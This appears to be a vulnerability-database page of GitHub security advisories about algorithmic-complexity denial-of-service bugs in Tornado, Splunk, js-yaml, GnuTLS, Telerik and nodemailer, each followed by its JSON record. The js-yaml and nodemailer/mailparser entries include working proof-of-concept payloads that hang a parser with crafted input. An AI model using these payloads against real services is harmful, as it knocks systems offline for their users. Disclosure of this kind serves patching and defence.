Tornado's HTTP header parser takes quadratic time (O(n²)) when a header value is continued across many "obsolete line folding" (obs-fold) lines. An unauthenticated attacker can send a request whose header block is mostly short continuation lines. Parsing it uses a large amount of CPU on the IOLoop thread and blocks every other connection that process is serving.

This issue is closely related to CVE-2025-67725 (GHSA-c98p-7wgm-6p64). The fix for that advisory covered repeated headers but not line-folded continuations.

Impact

All Tornado HTTP servers are affected. Header parsing runs before any application code, so no authentication or particular handler is required.

How bad it gets depends on max_header_size:

  • Default (64 KB): each malicious request blocks the event loop for tens of milliseconds. Repeated requests can degrade service.
  • Raised max_header_size: the cost grows with the square of the header size. A single 1 MB request can block the process for several seconds.

Only availability is affected. Confidentiality and integrity are not.

Patches

Fixed in Tornado 6.6 by removing support for obsolete line folding completely; header lines that begin with whitespace are now rejected.

Workarounds

  • Keep max_header_size at its default value or lower it. This limits the impact but doesn't remove it.
  • Run Tornado behind a reverse proxy that rejects or normalizes obsolete line folding before forwarding requests.

Credit

Reported by @manus-pi.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tornado"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-116577"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-28T22:43:41Z",
    "nvd_published_at": "2026-10-26T21:18:14Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nTornado\u0027s HTTP header parser takes quadratic time (O(n\u00b2)) when a header value is continued across many \"obsolete line folding\" (obs-fold) lines. An unauthenticated attacker can send a request whose header block is mostly short continuation lines. Parsing it uses a large amount of CPU on the IOLoop thread and blocks every other connection that process is serving.\n\nThis issue is closely related to CVE-2025-67725 (GHSA-c98p-7wgm-6p64). The fix for that advisory covered repeated headers but not line-folded continuations.\n\n### Impact\n\nAll Tornado HTTP servers are affected. Header parsing runs before any application code, so no authentication or particular handler is required.\n\nHow bad it gets depends on `max_header_size`:\n\n- **Default (64 KB):** each malicious request blocks the event loop for tens of milliseconds. Repeated requests can degrade service.\n- **Raised `max_header_size`:** the cost grows with the square of the header size. A single 1 MB request can block the process for several seconds.\n\nOnly availability is affected. Confidentiality and integrity are not.\n\n### Patches\n\nFixed in Tornado 6.6 by removing support for obsolete line folding completely; header lines that begin with whitespace are now rejected.\n\n### Workarounds\n\n- Keep `max_header_size` at its default value or lower it. This limits the impact but doesn\u0027t remove it.\n- Run Tornado behind a reverse proxy that rejects or normalizes obsolete line folding before forwarding requests.\n\n### Credit\n\nReported by @manus-pi.",
  "id": "GHSA-pcg2-g6cj-q92c",
  "modified": "2026-10-28T22:43:41Z",
  "published": "2026-10-28T22:43:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-pcg2-g6cj-q92c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-116577"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tornadoweb/tornado/pull/3765"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tornadoweb/tornado/commit/1b7a1dc9f340f52de929852e8125aa12f25297c9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tornadoweb/tornado"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tornadoweb/tornado/releases/tag/v6.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Tornado: Quadratic CPU usage when parsing HTTP headers with line folding"
}

GHSA-PF4P-427J-R97P

Vulnerability from github – Published: 2026-10-07 21:33 – Updated: 2026-10-07 21:33
VLAI
Details

In Splunk Enterprise versions below 10.4.3, 10.2.7, and 10.0.10, a low-privileged user that does not hold the "admin" or "power" Splunk roles could cause a denial of service against a Representational State Transfer (REST) API endpoint in the Discover Splunk Observability Cloud app. The vulnerability is possible because the app uses an inefficient regular expression to validate input submitted through the endpoint. For more information see About configuring role-based user access (https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.4/manage-splunk-platform-users-and-roles/about-configuring-role-based-user-access), Splunk Observability Cloud previews (https://help.splunk.com/en/splunk-enterprise/search/search-manual/10.4/observability/splunk-observability-cloud-previews), and restmap.conf (https://help.splunk.com/en/splunk-enterprise/administer/admin-manual/10.4/configuration-file-reference/10.4.0-configuration-file-reference/restmap.conf) in the Splunk documentation.

Splunk Enterprise versions 9.4.x are not affected.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-76271"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-07T21:17:18Z",
    "severity": "MODERATE"
  },
  "details": "In Splunk Enterprise versions below 10.4.3, 10.2.7, and 10.0.10, a low-privileged user that does not hold the \"admin\" or \"power\" Splunk roles could cause a denial of service against a Representational State Transfer (REST) API endpoint in the Discover Splunk Observability Cloud app. The vulnerability is possible because the app uses an inefficient regular expression to validate input submitted through the endpoint. For more information see About configuring role-based user access (https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.4/manage-splunk-platform-users-and-roles/about-configuring-role-based-user-access), Splunk Observability Cloud previews (https://help.splunk.com/en/splunk-enterprise/search/search-manual/10.4/observability/splunk-observability-cloud-previews), and restmap.conf (https://help.splunk.com/en/splunk-enterprise/administer/admin-manual/10.4/configuration-file-reference/10.4.0-configuration-file-reference/restmap.conf) in the Splunk documentation.\n\nSplunk Enterprise versions 9.4.x are not affected.",
  "id": "GHSA-pf4p-427j-r97p",
  "modified": "2026-10-07T21:33:30Z",
  "published": "2026-10-07T21:33:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76271"
    },
    {
      "type": "WEB",
      "url": "https://advisory.splunk.com/advisories/SVD-2026-1001"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PM4M-PH32-GHV5

Vulnerability from github – Published: 2026-07-24 16:47 – Updated: 2026-08-13 17:47
VLAI
Summary
js-yaml: Exponential parsing time in flow collections leads to denial of service
Details

Summary

Parsing a small YAML document can take exponential time. An application that calls load() or loadAll() on untrusted input can be hung by a payload under 200 bytes.

Details

When an entry in a flow sequence turns out to be a key: value pair, the parser rewinds and parses that entry a second time as the key. If the key is itself a nested flow sequence of the same shape, every level is parsed twice, so the total work is O(2^n) in the nesting depth. The default maxDepth of 100 does not help, because the time is already unmanageable at about 30 to 40 levels.

Root cause, potentially the: readFlowCollection in parser.ts, the restoreState followed by a second parseNode further down.

PoC

const yaml = require('js-yaml')
const n = 30
yaml.load('[ '.repeat(n) + '1' + ' ]: 0'.repeat(n))

With default options: 22 levels takes about 1 second, 26 levels about 17 seconds, 30 levels over 2 minutes. The input stays under 200 bytes and grows linearly with n.

Impact

Denial of service. A single small request can keep one CPU busy for minutes or longer and blocks the Node event loop, so one request can stall the whole process. No anchors, aliases, merges, tags, or non default options are required, and it reproduces on the default schema.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.2.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "js-yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73643"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T16:47:36Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nParsing a small YAML document can take exponential time. An application that calls `load()` or `loadAll()` on untrusted input can be hung by a payload under 200 bytes.\n\n### Details\nWhen an entry in a flow sequence turns out to be a `key: value` pair, the parser rewinds and parses that entry a second time as the key.\nIf the key is itself a nested flow sequence of the same shape, every level is parsed twice, so the total work is O(2^n) in the nesting depth. The default `maxDepth` of 100 does not help, because the time is already unmanageable at about 30 to 40 levels.\n\nRoot cause, potentially the: `readFlowCollection` in [parser.ts](https://github.com/nodeca/js-yaml/blob/master/src/parser/parser.ts), the `restoreState` followed by a second `parseNode` further down.\n\n\n### PoC\n\n```javascript\nconst yaml = require(\u0027js-yaml\u0027)\nconst n = 30\nyaml.load(\u0027[ \u0027.repeat(n) + \u00271\u0027 + \u0027 ]: 0\u0027.repeat(n))\n```\n\nWith default options: 22 levels takes about 1 second, 26 levels about 17 seconds, 30 levels over 2 minutes. The input stays under 200 bytes and grows linearly with `n`.\n\n### Impact\nDenial of service. A single small request can keep one CPU busy for minutes or longer and blocks the Node event loop, so one request can stall the whole process. No anchors, aliases, merges, tags, or non default options are required, and it reproduces on the default schema.",
  "id": "GHSA-pm4m-ph32-ghv5",
  "modified": "2026-08-13T17:47:36Z",
  "published": "2026-07-24T16:47:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-pm4m-ph32-ghv5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/commit/3e5240f9cbe645ce5afb58524954a13c8539c853"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodeca/js-yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/releases/tag/5.2.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "js-yaml: Exponential parsing time in flow collections leads to denial of service"
}

GHSA-PM8W-JQ9R-X5RP

Vulnerability from github – Published: 2026-02-09 15:30 – Updated: 2026-10-14 21:32
VLAI
Details

A flaw was found in GnuTLS. This vulnerability allows a denial of service (DoS) by excessive CPU (Central Processing Unit) and memory consumption via specially crafted malicious certificates containing a large number of name constraints and subject alternative names (SANs).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-14831"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-09T15:16:09Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in GnuTLS. This vulnerability allows a denial of service (DoS) by excessive CPU (Central Processing Unit) and memory consumption via specially crafted malicious certificates containing a large number of name constraints and subject alternative names (SANs).",
  "id": "GHSA-pm8w-jq9r-x5rp",
  "modified": "2026-10-14T21:32:23Z",
  "published": "2026-02-09T15:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14831"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:13812"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:6738"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:7329"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:7335"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:7477"
    },
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      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:82347"
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      "type": "WEB",
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      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-14831"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2423177"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html"
    },
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      "type": "WEB",
      "url": "https://gitlab.com/gnutls/gnutls/-/issues/1773"
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      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:16008"
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      "type": "WEB",
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      "type": "WEB",
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      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:25096"
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      "type": "WEB",
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    },
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      "type": "WEB",
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      "url": "https://access.redhat.com/errata/RHSA-2026:6618"
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      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:6737"
    }
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  "schema_version": "1.4.0",
  "severity": [
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      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PMR9-X859-MH5C

Vulnerability from github – Published: 2026-10-28 15:31 – Updated: 2026-10-28 15:31
VLAI
Details

In Progress® Telerik® Document Processing Libraries prior to version 2026.3.1027, uncontrolled recursion, inefficient algorithmic complexity and infinite loop vulnerabilities in RadWordsProcessing allow an unauthenticated attacker to terminate or hang the host process via a crafted DOCX, DOC, RTF or HTML document.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-118035"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-28T13:17:06Z",
    "severity": "HIGH"
  },
  "details": "In Progress\u00ae Telerik\u00ae Document Processing Libraries prior to version 2026.3.1027, uncontrolled recursion, inefficient algorithmic complexity and infinite loop vulnerabilities in RadWordsProcessing allow an unauthenticated attacker to terminate or hang the host process via a crafted DOCX, DOC, RTF or HTML document.",
  "id": "GHSA-pmr9-x859-mh5c",
  "modified": "2026-10-28T15:31:53Z",
  "published": "2026-10-28T15:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-118035"
    },
    {
      "type": "WEB",
      "url": "https://docs.telerik.com/devtools/document-processing/knowledge-base/kb-security-uncontrolled-resource-consumption-wordsprocessing-cve-2026-118035"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PRGH-XP8R-P3M5

Vulnerability from github – Published: 2026-09-30 14:41 – Updated: 2026-10-05 23:30
VLAI
Summary
Nodemailer addressparser: O(n^2) on comment-joined addresses enables a remote DoS (reachable via mailparser)
Details

Summary

nodemailer/lib/addressparser parses one shape of address in O(n^2) time. A single ~640 KB address value blocks the Node.js event loop for roughly 7 seconds. And it is reachable without auth: mailparser feeds inbound email headers straight into this parser, so one crafted email is enough to stall a service that parses mail.

Details

The parser builds a single address by accumulating its atoms into one string. When the atoms are separated by RFC 5322 comments, like a@b(c)@b(c)@b(c)..., every atom re-joins that same growing string.

The join check in src/addressparser/index.ts:

const joins =
    prevToken &&
    prevToken.noBreak &&
    parts.length &&
    (prevToken.value !== ')' || parts[parts.length - 1].slice(-1) === '@' || token.value.charAt(0) === '@');

The issue is the order of the last two operands. parts[parts.length - 1].slice(-1) runs before the cheap token.value.charAt(0). slice(-1) has to flatten the accumulator to read its last character → O(current length) → and that runs on every token → O(n^2) over the whole value. Since || is left to right, the cheap charAt(0) that would short-circuit never gets the chance.

The chain: long comment-joined address → one growing accumulator → slice(-1) re-flattens it on every token → quadratic parse time.

PoC

Isolated, just the parser (npm i nodemailer@10.0.3):

const addressparser = require('nodemailer/lib/addressparser');
const s = Date.now();
addressparser('a' + '@b(c)'.repeat(130000));
console.log(Date.now() - s, 'ms'); // ~7000 ms, blocking

End to end through mailparser, the remote path (npm i mailparser@3.9.24):

const { simpleParser } = require('mailparser');
(async () => {
  const to = 'a' + '@b(c)'.repeat(130000);
  const eml = `From: a@b.com\r\nTo: ${to}\r\nSubject: x\r\n\r\nhi\r\n`;
  const s = Date.now();
  await simpleParser(eml);
  console.log(Date.now() - s, 'ms'); // ~7000 ms, blocking
})();

Timings measured on 10.0.3:

Address value Parse time
390 KB 1.3 s
585 KB 5.6 s
640 KB 6.7 s
976 KB 18 s

It survives RFC 5322 folding: fold the header at offsets that are a multiple of the atom length and every )+@ junction stays intact, so the payload is a standards-compliant email with lines under 998 octets and still triggers it.

Impact

Algorithmic-complexity DoS. Node is single threaded, so the block stalls everything else in the process, and a handful of these back to back keeps a service down.

Affected: anything that runs addressparser on attacker-controlled input, either the public export directly or address headers built from user input. The unauthenticated remote case is mailparser. 3.9.24 pins nodemailer 10.0.3 and calls the parser on inbound To/From/Cc with no length cap, so any service parsing inbound mail with it can be frozen by a single email.

Suggested fix

Swap the last two operands so the cheap check runs first:

(prevToken.value !== ')' || token.value.charAt(0) === '@' || parts[parts.length - 1].slice(-1) === '@')

Pure boolean commutation, so the parse output is identical. Verified byte for byte on the test inputs, and the full 1276-test suite passes.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.0.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "nodemailer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.1.0"
            },
            {
              "fixed": "10.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-90776"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-30T14:41:01Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`nodemailer/lib/addressparser` parses one shape of address in O(n^2) time. A single ~640 KB address value blocks the Node.js event loop for roughly 7 seconds. And it is reachable without auth: mailparser feeds inbound email headers straight into this parser, so one crafted email is enough to stall a service that parses mail.\n\n### Details\n\nThe parser builds a single address by accumulating its atoms into one string. When the atoms are separated by RFC 5322 comments, like `a@b(c)@b(c)@b(c)...`, every atom re-joins that same growing string.\n\nThe join check in `src/addressparser/index.ts`:\n\n```js\nconst joins =\n    prevToken \u0026\u0026\n    prevToken.noBreak \u0026\u0026\n    parts.length \u0026\u0026\n    (prevToken.value !== \u0027)\u0027 || parts[parts.length - 1].slice(-1) === \u0027@\u0027 || token.value.charAt(0) === \u0027@\u0027);\n```\n\nThe issue is the order of the last two operands. `parts[parts.length - 1].slice(-1)` runs before the cheap `token.value.charAt(0)`. `slice(-1)` has to flatten the accumulator to read its last character \u2192 O(current length) \u2192 and that runs on every token \u2192 O(n^2) over the whole value. Since `||` is left to right, the cheap `charAt(0)` that would short-circuit never gets the chance.\n\nThe chain: long comment-joined address \u2192 one growing accumulator \u2192 `slice(-1)` re-flattens it on every token \u2192 quadratic parse time.\n\n### PoC\n\nIsolated, just the parser (`npm i nodemailer@10.0.3`):\n\n```js\nconst addressparser = require(\u0027nodemailer/lib/addressparser\u0027);\nconst s = Date.now();\naddressparser(\u0027a\u0027 + \u0027@b(c)\u0027.repeat(130000));\nconsole.log(Date.now() - s, \u0027ms\u0027); // ~7000 ms, blocking\n```\n\nEnd to end through mailparser, the remote path (`npm i mailparser@3.9.24`):\n\n```js\nconst { simpleParser } = require(\u0027mailparser\u0027);\n(async () =\u003e {\n  const to = \u0027a\u0027 + \u0027@b(c)\u0027.repeat(130000);\n  const eml = `From: a@b.com\\r\\nTo: ${to}\\r\\nSubject: x\\r\\n\\r\\nhi\\r\\n`;\n  const s = Date.now();\n  await simpleParser(eml);\n  console.log(Date.now() - s, \u0027ms\u0027); // ~7000 ms, blocking\n})();\n```\n\nTimings measured on 10.0.3:\n\n| Address value | Parse time |\n| --- | --- |\n| 390 KB | 1.3 s |\n| 585 KB | 5.6 s |\n| 640 KB | 6.7 s |\n| 976 KB | 18 s |\n\nIt survives RFC 5322 folding: fold the header at offsets that are a multiple of the atom length and every `)`+`@` junction stays intact, so the payload is a standards-compliant email with lines under 998 octets and still triggers it.\n\n### Impact\n\nAlgorithmic-complexity DoS. Node is single threaded, so the block stalls everything else in the process, and a handful of these back to back keeps a service down.\n\nAffected: anything that runs `addressparser` on attacker-controlled input, either the public export directly or address headers built from user input. The unauthenticated remote case is mailparser. 3.9.24 pins nodemailer 10.0.3 and calls the parser on inbound `To`/`From`/`Cc` with no length cap, so any service parsing inbound mail with it can be frozen by a single email.\n\n### Suggested fix\n\nSwap the last two operands so the cheap check runs first:\n\n```js\n(prevToken.value !== \u0027)\u0027 || token.value.charAt(0) === \u0027@\u0027 || parts[parts.length - 1].slice(-1) === \u0027@\u0027)\n```\n\nPure boolean commutation, so the parse output is identical. Verified byte for byte on the test inputs, and the full 1276-test suite passes.",
  "id": "GHSA-prgh-xp8r-p3m5",
  "modified": "2026-10-05T23:30:09Z",
  "published": "2026-09-30T14:41:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-prgh-xp8r-p3m5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-90776"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/c07f17518d25aca8ab2ad66968dcbca538c24b89"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodemailer/nodemailer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/releases/tag/v10.0.5"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nodemailer-9.1.0-through-10.0.4-denial-of-service-via-quadratic-address-parsing"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nodemailer addressparser: O(n^2) on comment-joined addresses enables a remote DoS (reachable via mailparser)"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.